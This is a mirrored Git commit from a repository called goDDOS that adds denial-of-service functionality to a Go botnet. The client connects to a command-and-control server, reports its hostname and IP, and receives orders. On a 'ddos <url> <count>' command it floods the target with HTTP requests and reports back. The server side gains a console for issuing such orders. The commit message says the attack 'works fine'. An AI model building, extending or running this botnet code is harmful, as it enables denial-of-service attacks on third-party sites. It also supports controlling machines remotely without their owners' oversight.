mirror of
https://github.com/arnaucube/goDDOS.git
synced 2026-02-07 03:26:42 +01:00
ddos by the clients implemented, works fine
This commit is contained in:
@@ -4,7 +4,10 @@ import (
|
|||||||
"bufio"
|
"bufio"
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -14,7 +17,7 @@ const (
|
|||||||
CONN_TYPE = "tcp"
|
CONN_TYPE = "tcp"
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() { //client https://systembash.com/a-simple-go-tcp-server-and-tcp-client/
|
func main() {
|
||||||
|
|
||||||
// connect to this socket
|
// connect to this socket
|
||||||
conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
|
conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
|
||||||
@@ -29,17 +32,61 @@ func main() { //client https://systembash.com/a-simple-go-tcp-server-and-tcp-cli
|
|||||||
// send to socket
|
// send to socket
|
||||||
fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
|
fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
|
||||||
for {
|
for {
|
||||||
message, err := bufio.NewReader(conn).ReadString('\n')
|
command, err := bufio.NewReader(conn).ReadString('\n')
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(err)
|
fmt.Println(err)
|
||||||
fmt.Println("server disconnected")
|
fmt.Println("server disconnected")
|
||||||
os.Exit(1)
|
os.Exit(1)
|
||||||
}
|
}
|
||||||
fmt.Print("Command from server: " + message)
|
fmt.Println("Command from server: " + command)
|
||||||
|
//fmt.Println(len(strings.Split(command, " ")))
|
||||||
|
|
||||||
|
comm := strings.Split(command, " ")[0]
|
||||||
|
switch comm {
|
||||||
|
case "ddos":
|
||||||
|
fmt.Println("url case, checking parameters")
|
||||||
|
if len(strings.Split(command, " ")) < 3 {
|
||||||
|
fmt.Println("not enought parameters")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
fmt.Println("url case")
|
||||||
|
go ddos(command, conn, hostname)
|
||||||
|
default:
|
||||||
|
fmt.Println("default case, no specified command")
|
||||||
|
fmt.Println("")
|
||||||
|
fmt.Println("-- waiting for new orders --")
|
||||||
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func ddos(command string, conn net.Conn, hostname string) {
|
||||||
|
url := strings.Split(command, " ")[1]
|
||||||
|
url = strings.TrimSpace(url)
|
||||||
|
|
||||||
|
iterations := strings.Split(command, " ")[2]
|
||||||
|
iterations = strings.TrimSpace(iterations)
|
||||||
|
iter, err := strconv.Atoi(iterations)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
}
|
||||||
|
fmt.Println("url to ddos: " + url)
|
||||||
|
for i := 0; i < iter; i++ {
|
||||||
|
fmt.Println(i)
|
||||||
|
resp, err := http.Get(url)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
}
|
||||||
|
fmt.Println(resp)
|
||||||
|
}
|
||||||
|
msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate)
|
||||||
|
fmt.Println(msg)
|
||||||
|
fmt.Fprintf(conn, msg+"\n")
|
||||||
|
fmt.Println("")
|
||||||
|
fmt.Println("-- waiting for new orders --")
|
||||||
|
}
|
||||||
|
|
||||||
func getIp() net.IP {
|
func getIp() net.IP {
|
||||||
var ip net.IP
|
var ip net.IP
|
||||||
ifaces, err := net.Interfaces()
|
ifaces, err := net.Interfaces()
|
||||||
@@ -52,14 +99,12 @@ func getIp() net.IP {
|
|||||||
fmt.Println(err)
|
fmt.Println(err)
|
||||||
}
|
}
|
||||||
for _, addr := range addrs {
|
for _, addr := range addrs {
|
||||||
|
|
||||||
switch v := addr.(type) {
|
switch v := addr.(type) {
|
||||||
case *net.IPNet:
|
case *net.IPNet:
|
||||||
ip = v.IP
|
ip = v.IP
|
||||||
case *net.IPAddr:
|
case *net.IPAddr:
|
||||||
ip = v.IP
|
ip = v.IP
|
||||||
}
|
}
|
||||||
// process IP address
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return ip
|
return ip
|
||||||
|
|||||||
@@ -29,11 +29,9 @@ func (client *Client) Read() {
|
|||||||
for {
|
for {
|
||||||
line, err := client.reader.ReadString('\n')
|
line, err := client.reader.ReadString('\n')
|
||||||
if err == nil {
|
if err == nil {
|
||||||
if client.connection != nil {
|
|
||||||
client.connection.outgoing <- line
|
|
||||||
}
|
|
||||||
fmt.Println("")
|
fmt.Println("")
|
||||||
fmt.Println(line)
|
fmt.Println(line)
|
||||||
|
fmt.Print("enter new command: ")
|
||||||
} else {
|
} else {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -74,7 +72,7 @@ func NewClient(connection net.Conn) *Client {
|
|||||||
return client
|
return client
|
||||||
}
|
}
|
||||||
|
|
||||||
func watchConsoleInput(conn net.Conn) {
|
func watchConsoleInput(conn net.Conn) { //example: ddos http://web.com 4
|
||||||
newcommand := bufio.NewReader(os.Stdin)
|
newcommand := bufio.NewReader(os.Stdin)
|
||||||
for {
|
for {
|
||||||
text, _ := newcommand.ReadString('\n')
|
text, _ := newcommand.ReadString('\n')
|
||||||
@@ -92,7 +90,7 @@ func watchConsoleInput(conn net.Conn) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
func watchConnectionInput(client *Client) {
|
func watchClientConnectionInput(client *Client) {
|
||||||
for clientList, _ := range allClients {
|
for clientList, _ := range allClients {
|
||||||
if clientList.connection == nil {
|
if clientList.connection == nil {
|
||||||
client.connection = clientList
|
client.connection = clientList
|
||||||
@@ -122,7 +120,7 @@ func main() {
|
|||||||
fmt.Println(err.Error())
|
fmt.Println(err.Error())
|
||||||
}
|
}
|
||||||
client := NewClient(conn)
|
client := NewClient(conn)
|
||||||
go watchConnectionInput(client)
|
go watchClientConnectionInput(client)
|
||||||
go watchConsoleInput(client.conn)
|
go watchConsoleInput(client.conn)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user